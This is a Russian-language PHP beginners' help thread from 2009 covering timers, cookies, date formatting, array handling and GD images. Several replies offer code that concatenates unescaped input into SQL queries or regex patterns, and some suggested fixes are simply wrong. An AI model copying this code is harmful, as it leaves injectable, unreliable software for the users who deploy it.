Просмотр полной версии : [php] Новичкам: задаем вопросы
-=Static=-
12.02.2009, 16:52
Добрый день. Подскажите пожалуйста такую вещь:
onclick="location.href='с понтом путь' "
можно ли каким-то образом сделать задержку, к примеру в 2 сек, перед переходом на страницу согласно скрипта?
Заранее пасибо.
Это про JS вопрос, не в той теме спрашиваете... А по делу можно так:
onclick="sleep(2);location.href='с понтом путь' "
или pause(2);
Точно не помню :-[
спасибо! про место вопроса поздно понял)
А что вернет метод DBObject::loadById() ???
Не наю....
-=Static=-
12.02.2009, 17:34
Покажи исходник класса DBObject
<?php
require_once(dirname(__FILE__) . '/DB.php');
class DBObject
{
public $table = '';
private $id = null;
public function __construct()
{
return $this;
}
public static function create()
{
return new self();
}
public static function getById($groupId)
{
$new = new self();
$new->loadById($groupId);
return $new;
}
public function loadById($groupId)
{
$query = 'SELECT * FROM ' . $this->table . ' WHERE id = ' . $groupId;
$result = DB::selectQuery($query);
if ($result->count == 0)
return false;
$row = $result->fetchRow();
$this->makeObject($row);
return $this;
}
public function makeObject($array = array())
{
$this->id = $array['id'];
return $this;
}
public function getId()
{
return $this->id;
}
protected function makeArray()
{
return array(
'id' => $this->getId()
);
}
public function delete()
{
if (!$this->getId())
return $this;
$query = 'DELETE FROM ' . $this->table . ' WHERE id = ' . $this->getId();
DB::execQuery($query);
return $this;
}
public function save()
{
if ($this->getId()) {
return $this->update();
} else {
return $this->add();
}
}
public function update()
{
$arr = $this->makeArray();
unset($arr['id']);
$query = 'UPDATE ' . $this->table . ' SET ';
$i = 0;
foreach($arr as $key => $value) {
$i++;
if ($i > 1) {
$query .= ', ';
}
$query .= $key . ' = "' . $value . '"';
}
$query .= 'WHERE id = ' . $this->getId();
DB::execQuery($query);
return $this;
}
public function add()
{
$arr = $this->makeArray();
if (isset($arr['id'])) {
unset($arr['id']);
}
$query = 'INSERT INTO ' . $this->table . ' (' . implode(', ', array_keys($arr)) . ')';
$query .= 'VALUES (';
$i = 0;
foreach($arr as $value) {
$i++;
if ($i > 1) {
$query .= ', ';
}
$query .= '"' . $value . '"';
}
$query .= ')';
$this->id = DB::insertQuery($query);
Вот он
-=Static=-
12.02.2009, 18:13
Косяк в том что в классе Group в методе:
public static function getById($groupId)
{
$new = new self();
return $new->loadById($groupId);
}
Возвращается объект типа DBObject, а не Group... А у того в свою очередь нет метода getName()
А подскажи плиз как этот косяк исправить буду очень признательна
-=Static=-
12.02.2009, 18:19
Полагаю так, заменить тот метод что есть на вот такой:
public static function getById($groupId)
{
$new = new self();
$new->loadById($groupId);
return $new;
}
Щас попробую после отпишусь)
А точно по средствам PHP не получится написать такой таймер который я описывал?
Чтоб человек смог выйти со старице а таймер дошёл до нужной точки, выполнил запрос в Бд и затем запустился ещё 1 таймер который потом отправил ещё запрос...
Пример я нашёл в игре (Tribal Wars) http://voyna-plemyon.ru/
Там допустим отправляешь на вражескую деревню отряд...и он начинает идти до неё (таймер работает) затем отправляется запрос в БД (нападение само) и потом начинает идти 2 таймер(возвращение отряда)
sleep как я понел не будет работать если пользователь покинет страницы...+больная нагрузка на сервер
Крон каждую секунду...тоже нагрузка....
А как сделанно у них?
А как мне сделать так, чтоб допустим после определенного символа в файле все что идет после него засовывалось в другой файл?
MaTpOc, echo strstr('symbol or string', $text);
Byrger,
set_time_limit(0);
ignore_user_abort(1);
$задание = 0;
$последнее_задание = 10;
while(1)
{
switch($задание)
{
case 0:
somefunc();
break;
case 1:
somefunc();
break;
//и т.д
}
if($последнее_задание == $задание)
break;
sleep(60); //во время спанья не расходуется сист. время процессора(0-ая нагрузка)
$задание++;
}
Pashkela
12.02.2009, 19:43
А как мне сделать так, чтоб допустим после определенного символа в файле все что идет после него засовывалось в другой файл?
$search = 'h1'; //Что ищем
$filename = "../ip/tema.txt"; // Файло, где ищем
$handle = fopen($filename, "r");
$s = fread($handle, filesize($filename));
$a = strpos($s,$search);
If($a) $text = substr($s,$a);
fclose($handle);
$handle1 = fopen("tema1.txt", "w");
fwrite($handle1,$text . "\r\n");
fclose($handle1);
?>
Не а не алле что еще можно сделать?
Вопрос есть загруженая картинка в формате jpg
Как мне её перевести в формат гиф?
MaTpOc, echo strstr('symbol or string', $text);
Byrger,
set_time_limit(0);
ignore_user_abort(1);
$задание = 0;
$последнее_задание = 10;
while(1)
{
switch($задание)
{
case 0:
somefunc();
break;
case 1:
somefunc();
break;
//и т.д
}
if($последнее_задание == $задание)
break;
sleep(60); //во время спанья не расходуется сист. время процессора(0-ая нагрузка)
$задание++;
}
А если пользователей более 1ого? он нормально будет функционировать и страница будет доступна пока sleep?
И что чего тут цикл?
Попробовал внедрить к себе в скрипт....станица подвисает на это время (типа загрузка страницы)
Я конешно думаю что этот скрипт в другой фаил унести... но будет ли работать с большим количеством юзеров?
А если пользователей более 1ого? он нормально будет функционировать и страница будет доступна пока sleep?
И что чего тут цикл?
Попробовал внедрить к себе в скрипт....станица подвисает на это время (типа загрузка страницы)
Я конешно думаю что этот скрипт в другой фаил унести... но будет ли работать с большим количеством юзеров?
аяксом открывай этот скрипт(ассинхронно), выделения памяти и нагрузка на процессор минимальны.
аяксом открывай этот скрипт(ассинхронно), выделения памяти и нагрузка на процессор минимальны.
Можешь написать если не сложно на Аяксе...сорри что не в ту тему...
Мой Хостер не подерживает всю библиотеку GD!
Например не подерживает Support JPG
А Gif Поддерживает! Как мне зделать так чтоб загружаемый файл картинки JPG преобразовывался в GIF ???????????????????
Pashkela
12.02.2009, 21:31
сохранять как gif, и всё. А лучше сменить хостера
сохранять как gif, и всё. А лучше сменить хостера
ну да значит загружать я могу только gif?
imagecreatefromJPEG не работает!
Pashkela
12.02.2009, 21:46
Ну елки, ты же сам причину написал. Вот тебе вариант обхода. Или меняй хостера
-=Static=-
12.02.2009, 22:11
Не а не алле что еще можно сделать?
Что еще пишет?? Объясни в чем проблема то? Ошибки ил что?
Что еще пишет?? Объясни в чем проблема то? Ошибки ил что? До он эту же ошибку все выдает не смотря на то что переставила :( эта же ошибка в этой же строке...
Нужна помощь при редактированию php страницы. В общем в скрипте johncms_2_0_0 (http://johncms.com/download/?act=view&file=8 (целый скрипт, потому что по отдельности в страницах запутаться можно и что то пропустить)) нужно вместо главной страницы (инфа которой находится pages/mainmenu.php ) поставить данные анкеты пользователя ( str/anketa.php ). При обычном копировании страница не работает через не определения переменных «Город», «О себе» и т.д. Напишите, как сделать так, чтоб она работала… Если можно, то по подробнее. Заранее благодарен!
Есть значит база mySQL. В ней ячейки с датами. При выводе на страницу: echo $myrow['date']; отображается типа 2009-02-01. А хотелось бы по-русски. Например 1 февраля 2009 или 01.02.09. Как это сделать?
Есть значит база mySQL. В ней ячейки с датами. При выводе на страницу: echo $myrow['date']; отображается типа 2009-02-01. А хотелось бы по-русски. Например 1 февраля 2009 или 01.02.09. Как это сделать?
по-извращенски:
<?php
$t = strtotime( "2009-02-03" );
$month_arr = array( 1 => 'января', 2 => 'февраля', 3 => 'марта', 4 => 'апреля', 5 => 'мая', 6 => 'июня', 7 => 'июля', 8 => 'августа', 9 => 'сентября', 10 => 'октября', 11 => 'ноября', 12 => 'декабря' );
$day = date( 'j' , $t );
$month = $month_arr[ date( 'n' , $t ) ];
$year = date( 'Y' , $t );
echo "$day $month $year г.";
?>
Pashkela
13.02.2009, 02:46
Есть значит база mySQL. В ней ячейки с датами. При выводе на страницу: echo $myrow['date']; отображается типа 2009-02-01. А хотелось бы по-русски. Например 1 февраля 2009 или 01.02.09. Как это сделать?
данные надо в правильном формате хранить, а не в удобном для просмотра через phpmyadmin
данные надо в правильном формате хранить, а не в удобном для просмотра через phpmyadmin
Ты прав. Может я как-то не правильно выразился, но формат их хранения для меня не важен. Меня интересует именно отображение даты на странице. Более менее решение я нашел в такой строке: echo date('d.m.Y', $myrow['date']); но она выводит всегда 01.01.1970. Это тот формат, который бы мне хотелось видеть, но чтоб дата была правильной, из базы.
prescott
13.02.2009, 09:10
Ты прав. Может я как-то не правильно выразился, но формат их хранения для меня не важен. Меня интересует именно отображение даты на странице. Более менее решение я нашел в такой строке: echo date('d.m.Y', $myrow['date']); но она выводит всегда 01.01.1970. Это тот формат, который бы мне хотелось видеть, но чтоб дата была правильной, из базы.
Вторым параметром функции date является timestamp время. Пиши так: date('d.m.Y', strtotime($myrow['date']));
Вторым параметром функции date является timestamp время. Пиши так: date('d.m.Y', strtotime($myrow['date']));
Теперь то, что нужно :)
Здравствуйте!
У меня такая проблема:
при создании cookies выводится предупреждение о том,что заголовок уже отправлен!
Хотя на странице всего лишь:
<?
$time=mktime(1,1,1,1,1,2010);
setcookie("name","your_name","$time");
?>
prescott
13.02.2009, 15:34
Здравствуйте!
У меня такая проблема:
при создании cookies выводится предупреждение о том,что заголовок уже отправлен!
Хотя на странице всего лишь:
<?
$time=mktime(1,1,1,1,1,2010);
setcookie("name","your_name","$time");
?>
Убедись что перед <?php нет переносов строк и пробелов + не выводится никакая другая информация на страницу.
kevmen, может ты инклудишь эту страницу? До ф-ции setcookie ничего выводится не должно.
if($ip_address=getenv("HTTP_CLIENT_IP"));
elseif($ip_address=getenv("HTTP_X_FORWARDED_FOR"));
else{$ip_address=getenv("REMOTE_ADDR");}
if(substr_count($ip_address,"unknown")){$ip_address=getenv("REMOTE_ADDR");}
$row['ld'].="1|".$lt.'|'.$ip_address.'@';
mysql_query ("UPDATE `chars` SET `ips`='".$row['ld']."' WHERE `uid`='".$row['uid']."';");
народ такая проблеммка в двиге игры при входе в игру должен каждый раз записываться вход с айпи. но почему то не работает (( помогите советом
if($ip_address=$_SERVER[] );
elseif($ip_address=$_SERVER['HTTP_USER_AGENT'] );
else{$ip_address= $_SERVER["REMOTE_ADDR"] ;}
if(substr_count($ip_address,"unknown")){$ip_address= $_SERVER["REMOTE_ADDR"];}
$row['ld'].="1|".$lt.'|'.$ip_address.'@';
mysql_query ("UPDATE `chars` SET `ips`='".$row['ld']."' WHERE `uid`='".$row['uid']."';");
сделал так вообще перестало пахать ((
в конструкции if для сравнения используется == а не =
и еще $_SERVER[] не выдаст нужного тебе , это массив
Buffalon
13.02.2009, 20:02
Мне как то неочень хочеться разбираться что за БРЕД ты хотел написать , напиши это
print_r($_SERVER);
думаю сразу всё поймёшь
МОгу ошибаться , но вроде так
if($ip_address==$_SERVER['REMOTE_ADDR'] );
else($ip_address==$_SERVER['HTTP_USER_AGENT'] );
if(substr_count($ip_address,"unknown")){$ip_address= $_SERVER["REMOTE_ADDR"];}
$row['ld'].="1|".$lt.'|'.$ip_address.'@';
mysql_query ("UPDATE `chars` SET `ips`='".$row['ld']."' WHERE `uid`='".$row['uid']."'");
Здравствуйте
Такой вопрос:
каким образом можно проверить существование определенного слово в открытом для чтения файле?
Заранее спасибо!
$fp = fopen('file.txt', 'rt');
$what = 'asd';
while(!feof($fp))
{
if(preg_match('#'.preg_quote($what).'#i', fread($fp, 2048))
{
echo 'найдено';
break;
}
}
fclose($fp);
Pashkela
13.02.2009, 20:19
<?php
$search = 'h1'; //Что ищем
$filename = "../ip/tema.txt"; // Файло, где ищем
$handle = fopen($filename, "r");
$s = fread($handle, filesize($filename));
fclose($handle);
If(strpos($s,$search)) echo "Yes";
else echo "No";
?>
Buffalon
13.02.2009, 20:21
Это же ЧАК ).Хых - где твой кот .Давно не был на чётком
Buffalon
13.02.2009, 20:24
Пашкела помойму лучше использовать код Чака ,
Если мну не изменяет памать то функия fread - работает намного дольше чем -
$what = 'asd';
while(!feof($fp))
{
if(preg_match('#'.preg_quote($what).'#i', $what)
{
echo 'найдено';
break;
}
else
{
echo 'Ничего не найенно';//А если не найдёт ничего
}
}
Pashkela
13.02.2009, 20:24
лучше, если файл большой
Buffalon
13.02.2009, 20:31
лучше, если файл большой
ДОпустим эта страница весит ~120кб %)
Мой будет более производительный при больших файлах + возможность регулярок(хотя они медленнее...)
AkyHa_MaTaTa
13.02.2009, 20:49
strpos регистрозависимая(если не заниматься извратом с переводом в нижний/верхний регистр), preg_match хоть и более тормозное дело но более универсальное.
if(preg_match('#'.preg_quote($what).'#i', $what)
:D
AkyHa_MaTaTa Эээ, http://ru.php.net/stripos ?
AkyHa_MaTaTa
13.02.2009, 20:52
ну или так, но в начале было strpos
Народ, помогите мне переменные перенести кто умеет! Оч нужно, буду очень благодарен!
Я про этот пост-
Нужна помощь при редактированию php страницы. В общем в скрипте johncms_2_0_0 (http://johncms.com/download/?act=view&file=8 (целый скрипт, потому что по отдельности в страницах запутаться можно и что то пропустить)) нужно вместо главной страницы (инфа которой находится pages/mainmenu.php ) поставить данные анкеты пользователя ( str/anketa.php ). При обычном копировании страница не работает через не определения переменных «Город», «О себе» и т.д. Напишите, как сделать так, чтоб она работала… Если можно, то по подробнее. Заранее благодарен!
Подскажите использование функции krsort(). Мне нужно отсортировать данные массива по одному из полей (дата, например). То есть все записи по $myrow['date']
Подскажите использование функции krsort(). Мне нужно отсортировать данные массива по одному из полей (дата, например). То есть все записи по $myrow['date']
Я уверен, ты достаёшь данные из БД. Если да, то добавь в запрос сортировку и всё. Например для MySQL
SELECT * FROM table WHERE field = smth ORDER BY date
Я уверен, ты достаёшь данные из БД. Если да, то добавь в запрос сортировку и всё. Например для MySQL
SELECT * FROM table WHERE field = smth ORDER BY date
))) а как сделать обратную сортировку? а то он выдал, но от меньшего к большему, а надо наоборот
))) а как сделать обратную сортировку? а то он выдал, но от меньшего к большему, а надо наоборот
... ORDER BY date DESC
... ORDER BY date DESC
Подошло. Спасибо!
Banderos_Russia
14.02.2009, 02:04
помогите скрипт написать, чтобы при заходе на страницу запоминался айпишник и юзер агент по возможности (при повторном не пускало потом на некоторое время), а на странице было два поля для текста и этот текст после ввода и нажатия соответствующей кнопки выводился на заготовленной картинке в определенном её месте
помогите скрипт написать, чтобы при заходе на страницу запоминался айпишник и юзер агент по возможности (при повторном не пускало потом на некоторое время), а на странице было два поля для текста и этот текст после ввода и нажатия соответствующей кнопки выводился на заготовленной картинке в определенном её месте
А ты смешной =)
опиши все нормально по пунктам,может кто-нибудь и поможет.
2 Banderos_Russia, план действий
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
http://php.net/mysql - там хранить юзерагент и ип
<input type=text name=pic> бла бла бла
http://www.php.net/manual/ru/ref.image.php (imagettftext)
Banderos_Russia
14.02.2009, 12:18
159932, спасибо) а можно ето как нибудь в виде скрипта оформить?)
Можно, ты прекрасно с этим справишься, давай...
[JavaScript]
14.02.2009, 14:22
159932, спасибо) а можно ето как нибудь в виде скрипта оформить?)
Эх... Сейчас накалякаем, если тебе впадлу =)
Banderos_Russia
14.02.2009, 14:35
мне не в падлу, поверь просто не могу такие "сложные вещи" писать)))))))))0
[JavaScript]
14.02.2009, 14:48
Banderos_Russia, как то так...
<?
if(isset($_POST['field1']) and isset($_POST['field2'])) //если существуют поля, создаем картинку
{
$im = imagecreatetruecolor(500, 500); //разрешение 500х500
imagefilledrectangle($im, 0, 0, 500, 500, 0xFFFFFF); //цвет фона
imagestring($im, 3, 40, 20, "Field1: $_POST[field1] Field2: $_POST[field2]", 0x000000); //пишем даные из полей в определенное место
header('Content-type: image/gif'); //делаем страницу картинкой
imagegif($im); //делаем картинку .гиф
imagedestroy($im); //какбы выводим ее
die(); //см. http://php.net/die
}
fopen("data.php","a++"); //создаем файлик
$file=file_get_contents("data.php"); //достаем контент файла
if(empty($file)){ //если он пустой
file_put_contents("data.php",'<? die(); ?>');} //пишем в него дie(); чтобы юзеры из веба не могли прочитать (см. http://php.net/die)
$ip=$_SERVER['REMOTE_ADDR']; //переменная айпи
$ua=$_SERVER['HTTP_USER_AGENT']; //переменная юзерагента
$f=fopen("data.php","a+"); //открываем файл.
fwrite($f,"\r\n IP: $ip \r\nUserAgent: $ua\r\n"); //пишем юзерагент и айпи
fclose($f); //закрываем файл
echo "<form method=post>Field1: <input name=field1><br>Field2: <input name=field2><br /><input type=submit></form>"; //форма для ввода полей
?>
Каждая строчка в коментарии =)
Banderos_Russia
14.02.2009, 14:57
А как сделать поддержку утф-8?) И еще нужно чтобы больше не пускало с одинаковым ип и агентом)) А как свою картинку вставить?
Всё остальное работает!)))
[JavaScript]
14.02.2009, 15:13
- в дата.пхп записывается айпи и адрес?
Да.
как сделать поддержку утф-8?)
Точечные шрифты можно попробовать...
[JavaScript]
14.02.2009, 15:16
И еще нужно чтобы больше не пускало с одинаковым ип и агентом))
Это сессии.
А как свою картинку вставить?
imagecreatefromjpeg.
Приду - сделаю. Сейчас должен отойти.
[JavaScript]
15.02.2009, 12:06
Banderos_Russia, вот какбы... Все в комментах. Обошелся без сессий. И проверку на ЮзерАгент не делал, только на ип, потому что не пускало бы всех юзеров с этим юзерагентом :) . Ну можно было сделать фильтр, но я седня не в духе<?
if(isset($_POST['field1']) and isset($_POST['field2'])) //если существуют поля, создаем картинку
{
$text=iconv("windows-1251", "UTF-8", "еще какойто текст в утф-8"); //переводим в UTF-8
$f1=iconv("windows-1251", "UTF-8", "$_POST[field1]"); //переводим в UTF-8
$f2=iconv("windows-1251", "UTF-8", "$_POST[field2]"); //переводим в UTF-8
$im = imagecreatefromjpeg("img.jpg"); //фоновая картинка, должна быть в папке со скриптом
$font="arial.ttf"; //шрифт, должен быть в папке со скриптом
$black = imagecolorallocate($im, 0, 0, 0); //чёрный цвет в формате RGB
imagettftext($im, 20, 0, 10, 20, $black, $font, "Field1: $f1 \r\nField2: $f2\r\n $text"); //выводим текст
header('Content-type: image/jpeg'); //делаем страницу картинкой
imagejpeg($im); //делаем картинку .жпег
imagedestroy($im); //какбы выводим ее
die(); //см. http://php.net/die
}
$ip=$_SERVER['REMOTE_ADDR']; //переменная айпи
$ua=$_SERVER['HTTP_USER_AGENT']; //переменная юзерагента
$file=file_get_contents("data.php"); //достаем контент файла
if(preg_match("/$ip/",$file))die("Соре, но входить можно только 1 раз"); //проверка на существование ипа в файле
fopen("data.php","a++"); //создаем файлик
if(empty($file)){ //если он пустой
file_put_contents("data.php",'<? die(); ?>');} //пишем в него дie(); чтобы юзеры из веба не могли прочитать (см. http://php.net/die)
$f=fopen("data.php","a+"); //открываем файл.
fwrite($f,"\r\n IP: $ip \r\nUserAgent: $ua\r\n"); //пишем юзерагент и айпи
fclose($f); //закрываем файл
echo "<form method=post>Field1: <input name=field1><br>Field2: <input name=field2><br /><input type=submit></form>"; //форма для ввода полей
?>
Banderos_Russia
15.02.2009, 12:38
Всё работает отлично! Спасибо!
Мозсломал над задачкой.
Имеем 2 массива например:
$a = array('1','2','2','3');
$b = array('1','2','3','4');
Делаем array_unique($a) он удаляет 3 элемеент.
Так вот,на основе того что он удалил 3 элемент в массиве а,я должен удалить 3 елемент в массиве б.Пока что есть гиганский код с сравнением и удалением,до другомго я не додумался пока что.
Pashkela
15.02.2009, 16:17
Непонятна логика. Следуя такой логике из $b надо удалить тогда и 1 и 2 эелементы. Тогда все будет по порядку типо. Сформулируй задачу почетчу и приведи ЕЩЕ пример возможных ситуаций (желательно не одной ситуации)
Смотри.
В чем весь пример)
Есть 2 массива,в которых одинаковое колво элементов.
Один массив мы сортируем,и удаляеться например 4 элемент,мне нужно удалить 4 элемент из 1 массива.ТОесть если аррай_уникю удалил 3,67,и 89 эдементы,то теже самые элементы я должен удалить в 1 массиве,точнее элементы пож этимиже номерами.
Пока в голову пришол только такой вариант.(напишу поже щас за ноутом)
НЕ МОГУ ПОНЯТЬ В ЧЕМ ОШИБКА?
Код ошибки:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'index' at line 1
Код:
<?
include ("db.php");
include ("verx.php");
?>
<?
$b = "SELECT id,title,description,date,author,view,mini_img FROM index";
$result = mysql_query($b,$db);
if (!$result)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору x-ses@mail.ru <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}
if (mysql_num_rows($result) > 0)
{
$myrow = mysql_fetch_array($result);
do
{ printf ("<table align='center' class='post'>
<tr>
<td class='post_title'>
<p class='post_name' ><img class='mini' align='left' src='%s'> <a href='view_news.php?id=%s'>%s</a></p>
<p class='post_adds'>Дата добавления: %s</p>
<p class='post_adds'>Автор урока: %s</p></td>
</tr>
<tr>
<td>%s <p class='post_view'>Просмотров: %s </p></td>
</tr>
</table><br><br>",$myrow["mini_img"],$myrow["id"],$myrow["title"], $myrow["date"],$myrow["author"],$myrow["description"], $myrow["view"]);
}
while ($myrow = mysql_fetch_array($result));
}
else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}
?>
Ну вот что смог придумать я:
$array = array("1" => "one","2" => "two","3" => "three","4" => "four","5"=>"five","6"=>"six","7"=>"seven","8"=>"eith","9"=>"nine");
$sort = array("1","2","2","3","4","5","6","7","8","8");
$org = $sort;
$sort = array_unique($sort);
for($i = 0;$i < count($org);$i++){
if($org[$i] != $sort[$i]){
unset($array[$i]);
$i++;
}
}
Как выполнить пхп сценарий с задержкой и чтоб всё было асинхронно . Ну допустим запрос в БД через 60сек и чтоб пользователь мог дальше работать с сайтом или мог спокойно выйти с него... А запрос выполнился
Shadow_p1raT
15.02.2009, 17:14
пропиши в начале скрипта
set_time_limit(0);
ignore_user_abort(1);
Pashkela
15.02.2009, 17:23
Ну вот что смог придумать я:
$array = array("1" => "one","2" => "two","3" => "three","4" => "four","5"=>"five","6"=>"six","7"=>"seven","8"=>"eith","9"=>"nine");
$sort = array("1","2","2","3","4","5","6","7","8","8");
$org = $sort;
$sort = array_unique($sort);
for($i = 0;$i < count($org);$i++){
if($org[$i] != $sort[$i]){
unset($array[$i]);
$i++;
}
}
а вот, что придумал я:)))
<?php
$a = array('5','2','2','3','5','5','5');
sort($a);
echo "Первый массив отсортированный:\n";
print_r ($a);
$count1 = count($a);
$b = array('1','2','3','4','5','6','7');
sort($b);
echo "Второй массив отсортированный:\n";
print_r ($b);
$count2 = count($b);
for ($i=0;$i<$count1;$i++){
if ($a[$i+1]==$a[$i]) $num[]=$i+1;
}
echo "Позиции для удаления:\n";
print_r ($num);
$count3 = count($num);
$i=0;
for ($i=0;$i<$count2;$i++){
for($s=0;$s<$count3;$s++) if ($i==$num[$s]) unset($b[$i]);
}
echo "Второй массив с удаленными позициями:\n";
print_r ($b);
?>
пропиши в начале скрипта
set_time_limit(0);
ignore_user_abort(1);
Я прописывал так, а затем слип(30); и всё равно пользователь не может пользоваться сайтом пока не пройдёт 30сек
$x = explode ("_",$pers["location"]);
$y = $x[2];
$x = $x[1];
$up = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".$x."_".($y-1)."_'"));
$down = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".$x."_".($y+1)."_'"));
$right = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x+1)."_".($y)."_'"));
$left = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x-1)."_".($y)."_'"));
$lup = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x-1)."_".($y-1)."_'"));
$rup = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x+1)."_".($y-1)."_'"));
$rdown = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x+1)."_".($y+1)."_'"));
$ldown = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x-1)."_".($y+1)."_'"));
if (@$up["name"]) $up = 1; else $up=0;
if (@$down["name"]) $down = 1; else $down=0;
if (@$right["name"]) $right = 1; else $right=0;
if (@$left["name"]) $left = 1; else $left=0;
if (@$lup["name"]) $lup = 1; else $lup=0;
if (@$rup["name"]) $rup = 1; else $rup=0;
if (@$rdown["name"]) $rdown = 1; else $rdown=0;
if (@$ldown["name"]) $ldown = 1; else $ldown=0;
if ($_GET["go_nature"]=='up' and $up==1) $y-=1;
if ($_GET["go_nature"]=='down' and $down==1) $y+=1;
if ($_GET["go_nature"]=='left' and $left==1) $x-=1;
if ($_GET["go_nature"]=='right' and $right==1) $x+=1;
if ($_GET["go_nature"]=='lup' and $lup==1) $x-=1;
if ($_GET["go_nature"]=='rup' and $rup==1) $x+=1;
if ($_GET["go_nature"]=='lup' and $lup==1) $y-=1;
if ($_GET["go_nature"]=='rup' and $rup==1) $y-=1;
if ($_GET["go_nature"]=='rdown' and $rdown==1) $x+=1;
if ($_GET["go_nature"]=='ldown' and $ldown==1) $x-=1;
if ($_GET["go_nature"]=='rdown' and $rdown==1) $y+=1;
if ($_GET["go_nature"]=='ldown' and $ldown==1) $y+=1;
народ как уменьшить нагрузку на сервак?
Pashkela
15.02.2009, 20:10
2 m0Hze:
или вот так вот (так наверное правильней)
<meta http-equiv="Content-Type" content="text; charset=windows-1251">
<Pre>
<?
@set_time_limit(0);
@ini_set("display_errors","1");
$a = array('1','2','1','4','1','5','2');
echo "Первый массив неотсортированный:\n";
print_r ($a);
asort($a);
echo "Первый массив отсортированный с сохранением ключей:\n";
print_r ($a);
/*************************************************/
$count = count($a);
while (list($key, $val) = each($a)) {
$c[] = $val;
$flag[] = $key;
}
echo "Временный массив значений первого отсортированного массива:\n";
print_r ($c);
echo "Временный массив ключей первого отсортированного массива:\n";
print_r ($flag);
/************************************************/
$b = array('1','2','3','4','5','6','7');
echo "Второй массив:\n";
print_r ($b);
/************************************************/
for ($i=0;$i<$count;$i++){
if ($c[$i+1]==$c[$i]) $num[]=$flag[$i+1];
}
echo "Позиции для удаления повторов в первом массиве:\n";
print_r ($num);
/************************************************/
$count1 = count($num);
//Удаляем из второго массива
$i=0;
$s=0;
for ($i=0;$i<$count;$i++){
for($s=0;$s<$count1;$s++) if ($i==$num[$s]) unset($b[$i]);
}
echo "Второй массив с удаленными позициями:\n";
print_r ($b);
?>
</pre>
heretic1990
15.02.2009, 20:19
как на php можно скрыть прямую ссылку, не используя бд?
нужно чтобы ссылка была зашифрована, или как - нибудь вызывалась из текстового файла (по её ID) чарез скрипт.
заранее благодарю))
[JavaScript]
15.02.2009, 20:27
как на php можно скрыть прямую ссылку, не используя бд?
<?
$link="http://google.com";
$code=base64_encode($link);
$decode=base64_decode($code);
echo "Закодированная: $code <br>Раскодированная: $decode <br>";
?>
PS: Я правильно понял?
heretic1990
15.02.2009, 20:47
[JavaScript] ссылку, а не текст.
[JavaScript]
15.02.2009, 21:19
[JavaScript] ссылку, а не текст.
А... в этом смысле. urlencode()
Помогите мне плиззз!
http://forum.antichat.ru/showpost.php?p=1118125&postcount=8880
geforce, index зарезервированное слово, нужно использовать обратные апострофы в запросе
SELECT `id`,`title`,`description`,`date`,`author`,`view`, `mini_img` FROM `index`;
']geforce, index зарезервированное слово, нужно использовать обратные апострофы в запросе
SELECT `id`,`title`,`description`,`date`,`author`,`view`, `mini_img` FROM `index`;
Спасибо!
Привет всем! У кого есть выложите скрипт бэкапа мускл базы, простой без всяких наворотов пожалуйста.
от r57 была хорошая утилитка для этого дела. Если честно забыл как называеться... =\
Привет всем! У кого есть выложите скрипт бэкапа мускл базы, простой без всяких наворотов пожалуйста.
http://sypex.net/products/dumper/downloads/
народ, подскажите плиз ответ на мой пост который на предыдущей странице, я уже как только не пробовал...и аякс и слип...но надо асинхронность и независимость выполнения запроса сделать
Как выполнить пхп сценарий с задержкой и чтоб всё было асинхронно . Ну допустим запрос в БД через 60сек и чтоб пользователь мог дальше работать с сайтом или мог спокойно выйти с него... А запрос выполнился
Первое, что пришло в голову:
1) При запуске скрипта(отображающего сайт, и устанавливающего задержку на выполнение задания) в какой-либо файл(специально отведенный для этого) записывавем какое-либо значение, обозначающее, что нужно будет запустить mysql запрос и какой именно запрос + дополнительные необходимые параметры.
Каждое задание пишем в отдельной строке файла, так легче анализировать, разделяем \r\n
2) Создаем скрипт, который будет проверять этот файл и при наличии строчек(заданий), будет выполнять нужные задания в нужное время(обозначенное в задании), после выполнения задания, скрипт стирает строчку выполненного задания.
3) Ставим этот скрипт на крон на каждую минуту выполнение.
PS:
а) если время задержки выполнения не слишком строгое и его можно подстроить под проверку кроном каждую минуту, то этот вариант вполне подходит.
б) не забудь правильно настроить блокировку файла при записи и чтении из него заданий, а то можешь получить в файле кашу.
Byrger Вам уже все сказали. Set_time_limit и ignore_user_abort + sleep + аякс оьращающийся на этот скрипт. Фразы "все перепробовал" без примеров кода - это значит напишите за меня а я попользую? Никто за вас ничего делать не будет. Напишите что вы делали мы вас подправим.
Самый легкий способ это предложенный kik8888, и в крон ставить не обязательно, можно эту проверку засунуть в начало твоего скрипта
Самый легкий способ это предложенный kik8888, и в крон ставить не обязательно, можно эту проверку засунуть в начало твоего скрипта
Можно, но тогда нужна большая посещаемость у сайта, чтобы эту проверку частенько запускали.
Самый надежный вариант сделать и в кроне, и в начале всех скриптов сайта(например проинклудить в хедере(я надеюсь, что все шапку выносят в отдельный файл))
Но также не нужно забывать про оптимизацию и делать все для минимума использования ресурсов.
Крон тут вообще не нужен, при первом попавшемся заходе выполнятся все запросы, никто и не увидит что он выполнился сейчас а не 10 минут назад
Аякс не пойдёт так-как нужна 100% уверенности что все пользователи смогут запустить таймер, а что у всех яваСкрипт был включен.... Крон не пойдёт-большая нагрузка если запускать каждую секунду (нужна точность) а чтоб в код скрипт проверки поместить тоже не дело-большая нагрузка если много народу и у каждого про выполнении любого сценария на сайте будет проверятся таймер и наоборот- если мало народу то не будет точности таймера
Точность будет, если нормально скрипт написать, все продумать(при помещении в скрипт проверки) базу использовать и все быстро будет, никакой нагрузки
Точность будет, если нормально скрипт написать, все продумать(при помещении в скрипт проверки) базу использовать и все быстро будет, никакой нагрузки
